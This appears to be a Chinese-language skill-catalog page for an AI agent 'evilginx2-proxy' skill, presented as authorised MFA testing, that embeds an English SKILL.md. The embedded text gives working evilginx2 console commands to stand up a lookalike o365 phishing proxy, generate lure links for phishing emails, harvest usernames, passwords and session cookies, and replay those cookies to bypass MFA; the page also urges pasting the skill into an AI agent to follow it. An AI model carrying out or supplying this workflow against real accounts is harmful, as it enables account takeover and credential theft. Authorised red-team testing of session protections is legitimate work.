跳到正文
Skillpedia
安全6.5k · #14115

evilginx2-proxy

它能做什么

这份指南涵盖一种获得授权的测试:通过代理登录页面,让安全团队查看多重验证登录之后的会话令牌能否被窃取。适合在书面批准下测试自身登录保护的身份团队。

适用场景

  • ✓当授权测试需要检查即使使用了多重验证,会话 Cookie 是否仍可能被窃取时。
  • ✓当身份团队想确认会话令牌是否与设备绑定或能够快速过期时。
  • ✓当蓝队已得到通知,且测试时间窗口已获批准时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们正在测试登录功能在多重验证之后能否保护会话 Cookie。请帮我规划这次已授权的代理测试?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体为测试登录页面设置代理,记录登录后是否出现会话令牌,并报告哪些保护措施限制了重用,哪些没有。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

evilginx2 Phishlet (AiTM)

When the target enforces MFA, a static fake login page is useless — you need the authenticated session cookie. evilginx2 is an adversary-in-the-middle reverse proxy: the victim authenticates against the real site through your proxy, MFA included, and you capture the resulting session token for replay.

Prerequisites

  • evilginx2 in the sandbox; ports 443/53 free.
  • A lookalike domain with an A record to the sandbox and NS delegation so evilginx2 can answer ACME (lookalike-domain).
  • The lure-deconfliction handshake COMPLETE.

Deploy

# DNS + cert: evilginx manages Let's Encrypt automatically
evilginx2 -p /opt/evilginx/phishlets
# in the evilginx console:
config domain login.acme-portal.example
config ipv4 <sandbox-ip>
phishlets hostname o365 login.acme-portal.example
phishlets enable o365
lures create o365
lures get-url 0          # -> the link you put in the GoPhish email

Authoring a phishlet (when none ships for the target)

A phishlet is a YAML map of the target's auth hosts, the sub_filters that rewrite the real domain to yours in responses, and the auth_tokens (which cookies signal a completed login). Capture a normal login in a proxy, identify the session cookie(s) the app sets post-MFA, and list them under auth_tokens. Keep ACME challenge paths off the proxied auth path.

Capture + replay

# evilginx console: list captured sessions
sessions
sessions <id>            # shows username, password, and the tokens (cookie JSON)

Import the captured cookie JSON into a clean browser profile / a Cookie header to ride the authenticated session without re-triggering MFA.

Evidence

Captured session → Credential node (type session-token) linked to the User node with the lure id. Save the session JSON under evidence/phisher/<id>-session.json. Note the estimated token TTL.

OPSEC

  • One phishlet per engagement domain; rotate after the engagement.
  • The session token is the crown jewel — store ONLY in evidence/ + the knowledge graph, never anywhere off-box.
  • evilginx_disable_phishlet (phishlets disable o365) returns 502 on a SOC stop request.
常见问题

为什么多重验证不总是足够?

该指南指出,登录后签发的会话 Cookie 仍可能被重复使用,除非它已被绑定或已过期。

防守方应检查什么?

令牌有效期、设备绑定,以及从新位置重用会话时的告警。

这次测试需要批准吗?

需要。该指南要求在测试运行之前,完成授权并通知防守方。

详情

作者的原始描述

Author and deploy an evilginx2 phishlet to reverse-proxy a real login and capture the post-authentication session cookie, defeating MFA via session-token theft.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14115
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能